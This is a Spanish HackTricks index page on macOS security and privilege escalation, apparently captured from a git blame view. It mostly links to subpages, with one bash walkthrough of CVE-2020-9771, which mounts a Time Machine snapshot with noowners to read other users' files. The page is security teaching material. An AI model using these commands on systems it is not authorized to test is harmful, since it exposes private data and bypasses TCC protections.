hacktricks/macos-hardening/macos-security-and-privilege-escalation/README.md

189 lines
9.5 KiB
Markdown
Raw Normal View History

2023-06-03 01:46:23 +00:00
# Seguridad y Escalada de Privilegios en macOS
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
</details>
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
2023-02-27 09:28:45 +00:00
2023-06-03 01:46:23 +00:00
🐞 Lee tutoriales de errores web3
2023-02-27 09:28:45 +00:00
2023-06-03 01:46:23 +00:00
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
2023-02-27 09:28:45 +00:00
2023-06-03 01:46:23 +00:00
💬 Participa en discusiones comunitarias
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
## MacOS Básico
2021-08-14 18:01:10 +00:00
2023-06-03 01:46:23 +00:00
Si no estás familiarizado con macOS, deberías empezar aprendiendo los conceptos básicos de macOS:
2023-06-03 01:46:23 +00:00
* **Archivos y permisos especiales** de macOS:
{% content-ref url="macos-files-folders-and-binaries/" %}
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
{% endcontent-ref %}
2023-06-03 01:46:23 +00:00
* **Usuarios** comunes de macOS
2021-08-14 18:01:10 +00:00
{% content-ref url="macos-users.md" %}
[macos-users.md](macos-users.md)
{% endcontent-ref %}
2021-08-14 18:01:10 +00:00
* **AppleFS**
2021-08-18 16:50:47 +00:00
{% content-ref url="macos-applefs.md" %}
[macos-applefs.md](macos-applefs.md)
{% endcontent-ref %}
2021-08-18 16:50:47 +00:00
2023-06-03 01:46:23 +00:00
* La **arquitectura** del **kernel**
2021-08-14 18:01:10 +00:00
{% content-ref url="mac-os-architecture/" %}
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}
2021-08-14 18:01:10 +00:00
2023-06-03 01:46:23 +00:00
* **Servicios y protocolos de red** comunes de macOS
2021-08-14 18:01:10 +00:00
{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
{% endcontent-ref %}
2021-08-14 18:01:10 +00:00
2022-05-01 13:25:53 +00:00
### MacOS MDM
2021-08-14 18:01:10 +00:00
2023-06-03 01:46:23 +00:00
En las empresas, los sistemas **macOS** probablemente van a ser **administrados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona**:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
2021-08-14 18:01:10 +00:00
2023-06-03 01:46:23 +00:00
### MacOS - Inspección, Depuración y Fuzzing
2021-08-15 22:40:36 +00:00
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
{% endcontent-ref %}
2021-08-14 18:01:10 +00:00
2023-06-03 01:46:23 +00:00
## Protecciones de Seguridad de MacOS
2021-07-17 00:28:18 +00:00
{% content-ref url="macos-security-protections/" %}
[macos-security-protections](macos-security-protections/)
{% endcontent-ref %}
2021-07-27 10:55:02 +00:00
2023-06-03 01:46:23 +00:00
## Superficie de Ataque
2021-07-26 11:22:19 +00:00
2023-06-03 01:46:23 +00:00
### Permisos de Archivos
2021-07-22 14:43:04 +00:00
2023-06-03 01:46:23 +00:00
Si un **proceso que se ejecuta como root escribe** un archivo que puede ser controlado por un usuario, el usuario podría abusar de esto para **escalar privilegios**.\
Esto podría ocurrir en las siguientes situaciones:
2021-07-22 14:43:04 +00:00
2023-06-03 01:46:23 +00:00
* El archivo utilizado ya fue creado por un usuario (propiedad del usuario)
* El archivo utilizado es escribible por el usuario debido a un grupo
* El archivo utilizado está dentro de un directorio propiedad del usuario (el usuario podría crear el archivo)
* El archivo utilizado está dentro de un directorio propiedad de root, pero el usuario tiene acceso de escritura sobre él debido a un grupo (el usuario podría crear el archivo)
2023-06-03 01:46:23 +00:00
Ser capaz de **crear un archivo** que va a ser **utilizado por root**, permite a un usuario **aprovechar su contenido** o incluso crear **enlaces simbólicos/duros** para apuntarlo a otro lugar.
2023-06-03 01:46:23 +00:00
### Abuso de Privilegios y Entitlements a través del abuso de procesos
2023-06-03 01:46:23 +00:00
Si un proceso puede **inyectar código en otro proceso con mejores privilegios o entitlements** o contactarlo para realizar acciones de privilegios, podría escalar privilegios y evitar medidas defensivas como [Sandbox](macos-security-protections/macos-sandbox/) o [TCC](macos-security-protections/macos-tcc/).
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
{% endcontent-ref %}
2023-06-03 01:46:23 +00:00
### Aplicaciones de Extensión de Archivos
2023-06-03 01:46:23 +00:00
Las aplicaciones extrañas registradas por las extensiones de archivos podrían ser abusadas:
{% content-ref url="macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](macos-file-extension-apps.md)
{% endcontent-ref %}
2023-06-03 01:46:23 +00:00
### Aplicaciones de Manejadores de URL
2021-07-19 20:42:50 +00:00
2023-06-03 01:46:23 +00:00
Diferentes aplicaciones pueden registrarse para abrir protocolos específicos. Podrían ser abusadas.
2021-07-29 00:18:11 +00:00
2023-06-03 01:46:23 +00:00
TODO: Crear una página sobre esto
2021-07-19 20:42:50 +00:00
2023-06-03 01:46:23 +00:00
## Escalada de Privilegios en MacOS
2021-07-19 23:13:08 +00:00
2023-06-03 01:46:23 +00:00
### CVE-2020-9771 - Bypass de TCC y escalada de privilegios de mount\_apfs
2021-07-19 23:13:08 +00:00
2023-06-03 01:46:23 +00:00
**Cualquier usuario** (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser otorgado por un administrador.
2021-07-19 23:13:08 +00:00
{% code overflow="wrap" %}
2021-07-19 23:13:08 +00:00
```bash
# Create snapshot
tmutil localsnapshot
2021-07-19 23:13:08 +00:00
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
2021-07-19 23:13:08 +00:00
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
2021-07-19 23:13:08 +00:00
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
2021-07-19 23:13:08 +00:00
# Access it
ls /tmp/snap/Users/admin_user # This will work
2021-07-19 23:13:08 +00:00
```
{% endcode %}
2023-06-03 01:46:23 +00:00
Una explicación más detallada se puede [**encontrar en el informe original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
2021-07-19 23:13:08 +00:00
2023-06-03 01:46:23 +00:00
### Información Sensible
2021-07-19 23:13:08 +00:00
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% endcontent-ref %}
### Linux Privesc
2023-06-03 01:46:23 +00:00
En primer lugar, tenga en cuenta que **la mayoría de los trucos sobre escalada de privilegios que afectan a Linux/Unix también afectarán a las máquinas MacOS**. Así que vea:
2021-08-15 22:40:36 +00:00
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
{% endcontent-ref %}
2021-08-15 22:40:36 +00:00
2023-06-03 01:46:23 +00:00
## Referencias
2021-07-29 00:18:11 +00:00
2022-04-05 22:24:52 +00:00
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
[**Siga a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
🐞 Lea tutoriales sobre errores web3
2023-02-27 09:28:45 +00:00
2023-06-03 01:46:23 +00:00
🔔 Reciba notificaciones sobre nuevos programas de recompensas por errores
2023-02-27 09:28:45 +00:00
2023-06-03 01:46:23 +00:00
💬 Participe en discusiones comunitarias
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 01:46:23 +00:00
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>